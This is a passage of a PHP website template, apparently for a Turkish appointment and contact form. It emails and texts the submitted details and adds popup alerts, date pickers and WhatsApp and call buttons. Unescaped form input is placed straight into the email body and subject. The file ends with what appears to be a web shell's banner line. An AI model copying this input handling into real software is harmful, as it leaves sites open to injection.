$smsmesaj = rawurlencode($smsmesaj); 

$firmasmsbaslik = html_entity_decode($firmasmsbaslik, ENT_COMPAT, "UTF-8"); 
$firmasmsbaslik = rawurlencode($firmasmsbaslik); 
echo sendsms($smsmesaj,$smstel,$firmasmsbaslik);
}
// -------------- SMTP SUNUCU AYARLARI  BAŞLANGIÇ ----------------//


include "static/class.phpmailer.php"; 	
    $mail = new PHPMailer();
    $mail->IsSMTP();  										
    $mail->CharSet = 'utf-8';
    $mail->SMTPSecure = "$ayarlardegisken[mailguvenlik]"; 
    $mail->Host = "$ayarlardegisken[mailserver]"; 
    $mail->Port = "$ayarlardegisken[mailport]"; 
    $mail->SMTPAuth = true;
    $mail->Username = "$ayarlardegisken[mailadres]";
    $mail->Password = "$ayarlardegisken[mailparola]";
    $mail->From = "$ayarlardegisken[mailadres]"; 
    $mail->FromName = "$ayarlardegisken[mailbasligi]"; 
    $mail->Sender = "$ayarlardegisken[mailadres]"; 
    $mail->AddAddress("$ayarlardegisken[mailadres]");
    $mail->IsHTML(true);
    $mail->Subject  =  $_POST['ad']. " ".$hdil["_hsiparisver"]."";     // MAİL KONUSU


//--------------- SMTP SUNUCU AYARLARI BİTİŞ -------------------------//


$id = $_GET['id'];

$mail->Body     =  '<table class="made-in_text" border="0" cellSpacing="10" cellPadding="4" height="254" width="700">
					<tr>
						<td height="30" width="145" align="left">
						<font face="Tahoma" size="2"><strong>Adı Soyadı :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['adsoyad'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Telefon Numarası :</strong></font></td>

						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['telefon'] . '</font></td>
					</tr>';

$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Randevu Tarihi :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['tarih'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Randevu Saati :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['saat'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td style="VERTICAL-ALIGN: top; PADDING-TOP: 20px" align="left">
						<font face="Tahoma" size="2"><strong>Mesaj :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['mesaj'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td height="30" align="left">
						<strong><font face="Tahoma" size="2">IP Adresi </font></strong><font face="Tahoma" size="2"><strong>:</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_SERVER['REMOTE_ADDR'] . '</font></td>
					</tr></table>';
					
if(!$mail->Send())
{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-1").trigger("click");
});
</script>hata
<?php  
}else{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-5").trigger("click");
});
</script>ok
<?php                                          
}
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot
<?php                                              
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot                                          
<?php
}
}else{
}
?>   

	<!-- custom-file -->
	
    <script>
      document.querySelector('.sweet-1').onclick = function(){
        swal("<?php echo $hdil["_hhata"]; ?>");
      };
      document.querySelector('.sweet-2').onclick = function(){
        swal("Bot olmadığınızı dorulayın.!", "")
      };
      document.querySelector('.sweet-3').onclick = function(){
        swal("<?php echo $hdil["_tesekkurler"]; ?>!", "<?php echo $hdil["_incele_uyari"]; ?>", "success");
      };
      document.querySelector('.sweet-4').onclick = function(){
        swal("<?php echo $hdil["_tesekkurler"]; ?>!", "<?php echo $hdil["_hsonuc"]; ?>", "success");
      };	
      document.querySelector('.sweet-5').onclick = function(){
        swal("<?php echo $hdil["_tesekkurler"]; ?>!", "<?php echo $hdil["_hsiparisok"]; ?>", "success");
      };  
      document.querySelector('.sweet-6').onclick = function(){
        swal("<?php echo $hdil["_anket_uyari"]; ?>!");
      };
      document.querySelector('.sweet-7').onclick = function(){
        swal("<?php echo $hdil["_giris_uyari"]; ?>!.", "")
      };
      document.querySelector('.sweet-8').onclick = function(){
		swal("<?php echo $hdil["_tesekkurler"]; ?>!", "<?php echo $hdil["_anket_basarili"]; ?>", "success");  
      };  
      document.querySelector('.sweet-9').onclick = function(){
        swal("<?php echo $hdil["_uye_uyari9"]; ?>", "");
      };  
      document.querySelector('.sweet-10').onclick = function(){
        swal("<?php echo $hdil["_tesekkurler"]; ?>!", "<?php echo $hdil["_uye_basarili"]; ?>", "success");
      }; 
	   document.querySelector('.sweet-14').onclick = function(){
        swal("<?php echo $hdil["_uye_uyari14"]; ?>!", "")
      };
      document.querySelector('.sweet-12').onclick = function(){
        swal("<?php echo $hdil["_uye_uyari12"]; ?>!", "")
      };
      document.querySelector('.sweet-13').onclick = function(){
        swal("<?php echo $hdil["_uye_uyari13"]; ?>!", "")
      };
      document.querySelector('.sweet-16').onclick = function(){
        swal("<?php echo $hdil["_musait_degil"]; ?>!", "")
      };	  	  
    </script> 

        <script type="text/javascript"> <!--javascript kodumuzu yazmaya başlıyoruz-->
jQuery(document).ready(function(){
    $('#hesapform').submit(function(){ //id'si hesapform olan formumuz için submit eventini yakalıyoruz
        $.ajax({ //jquery içindeki ajax fonksiyonunu çağırıyoruz
            type: "GET", //ajax kullanırkken kullanacağımız methodu belirliyoruz
            url: "static/posta.php", //ajax ile hangi dosyaya bağlanmak istediğimizi belirtiyoruz
            data: $('#hesapform').serialize(), //ajax.php dosyamıza hangi argümentlerin yollanacağını seçiyoruz
            success: function(ajaxcevap){ //ajax.php dosyasından gelen cevabı ajaxcevap değişkenine atıyor
                $('#islemsonuc').html(ajaxcevap); 
                }
            });
            return false;
            });
            });
</script>
<!-- SABİT JAVASCRİPTLER BITIS -->

<script type="text/javascript" src="style/sabit/ui/jquery-ui.js"></script>
<script type="text/javascript" src="style/sabit/ui/jquery.timepicker.min.js"></script>
        <!-- Page Scripts Ends --><script src="style/sabit/ui/jquery.datetimepicker.js"></script>
<link rel="stylesheet" type="text/css" href="style/sabit/ui/jquery.datetimepicker.css" />
       <script>
    $('#alist').datetimepicker({
    	yearOffset: 0,
    	lang:'<?php echo $tarihdurum; ?>',
    	timepicker:false,
    	format:'Y-m-d',
    	formatDate:'Y-m-d',
    	minDate: "1",
    	onChangeDateTime:exampleFunction

    });
    function exampleFunction(){
       
        $('#donust').datetimepicker('show');
        
        $('#alist').datetimepicker('hide');
}
    $('#donust').datetimepicker({
    	lang:'<?php echo $tarihdurum; ?>',
    	timepicker:false,
        format:'Y-m-d',
    	formatDate:'Y-m-d',
    	minDate: "1",
    	onChangeDateTime:takvim
    });
    
        function takvim(){
       
       
        
        $('#donust').datetimepicker('hide');
}
    
    $('#asaat').datetimepicker({
    	datepicker:false,
    	format:'H:i',
    	step:30
    });
    $('#dsaat').datetimepicker({
    	datepicker:false,
    	format:'H:i',
    	step:30
    });
    </script>    
   
   
   
  <!-- WHATAAP Sag sol Kodu -->
<style type="text/css">
    .teklif {
        height: auto;
        width: 9%;
        position: fixed;
        left: 0;
        z-index: 999;
        bottom: 50%;
    }

    .gezgin {
        height: auto;
        width: 9%;
        position: fixed;
        float: left;
        z-index: 999;
        bottom: 0;
    }

    #form-group-select {
        text-align: center;
    }

    .inputs {
        width: 48.5%;
        float: left;
        margin-left: 1%;
    }
</style>
<!-- Call Now Button 0.3.1 by Jerry Rietveld (callnowbutton.com) -->
<style>#callnowbutton {display:none;} @media screen and (max-width:650px){#callnowbutton {display:block; position:fixed; text-decoration:none; z-index:2147483647;width:100%;left:0;bottom:0;height:60px;border-top:1px solid #2dc62d; border-bottom:1px solid #006700;width:100%;left:0;bottom:0;height:60px;border-top:1px solid #2dc62d; border-bottom:1px solid #006700;text-shadow: 0 1px #006700; text-align:center;color:#fff; font-weight:600; font-size:120%; padding-right:27px; overflow: hidden;background:#009900;display: flex; justify-content: center; align-items: center;}body {padding-bottom:60px;}
} 
</style> 


<?php
if ($whatsappdurum == "0"){
?>
<?php } else { ?>



<a id="wa-widget-send-button" class="hidden-xs" href="https://wa.me/<?php echo $whatsappnumara; ?>" target="_blank">
<img src="style/ofm/wp.png"></a>
	<!-- WhatsChat style2 js library  (required) -->
<style>
#wa-widget-send-button {
    margin: 0 0 30px 0 !important;
    position: fixed !important;
    z-index: 16000160 !important;
    bottom: 0 !important;
    text-align: center !important;
    height: 50px;
    min-width: 50px;
    border-radius: 25px;
    visibility: visible;
    transition: none !important;
    right: 20px;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
}
  .button-whatsapp {
    color: #fff;
    background: #25D366;
    border-radius: 0;
    padding: 10px 35px;
    font-size: 17px;
    transition: 0.3s ease;
    font-weight: 700;
}
    .button-whatsapp i {
        color: #fff;
    }
#ofmHemenAra {
    width: 100%;
    position: fixed;
    bottom: 0;
    z-index: 999;
}
.altofmhemenara {
    color: #fff;
    font-size: 16px;
    width: 100%;
    margin-left: auto;
    margin-right: auto;
    height: 50px;
    position: relative;
    bottom: 0;
    z-index: 99999999;
    text-align: center;
}
.ofmbox-1 {
    width: 50%;
    float: left;
    background: #0e843a;
    height: 50px;
    padding: 10px;
}
.ofmbox-icon {
    color: #fff;
    font-weight: 700;
    position: relative;
}
.ofmbox-text {
    color: #fff;
    font-weight: 700;
    font-size: 18px;
    position: relative;
}
.ofmbox-2 {
    width: 50%;
    float: left;
    background: #0074bd;
    height: 50px;
    padding: 10px;
}
@media(max-width:640px) {
    .hidden-xs {
        visibility: hidden;
    }
}
@media(min-width:641px) {
    .hidden-xs {
        visibility: visible;
    }
  #ofmHemenAra {display:none}
}
@media (max-width:767px){.hidden-xs{display:none!important}}
</style>
<div id="ofmHemenAra" class="">
        <div class="altofmhemenara">
            <div>
            	<a class="ofmbox-1" href="https://wa.me/<?php echo $whatsappnumara; ?>">
                    <span class="ofmbox-icon">
                        <img src="style/ofm/icon-whatsapp.png">
                    </span>
                    <span class="ofmbox-text">WhatsApp</span>
                </a>
            </div>
            <div>
                <a onclick="return gtag_report_conversion('tel:<?php echo $tf; ?>');" href="tel:<?php echo $tf; ?>" class="ofmbox-2">
                    <span class="ofmbox-icon">
                        <img src="style/ofm/icon-phone.png">
                    </span>
                    <span class="ofmbox-text">Hemen Ara</span>
                </a>
            </div>
        </div>
    </div> 

<!-- Sag Reklam Kodu -->
<?php } ?>
<?php echo html_entity_decode($canlichat); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit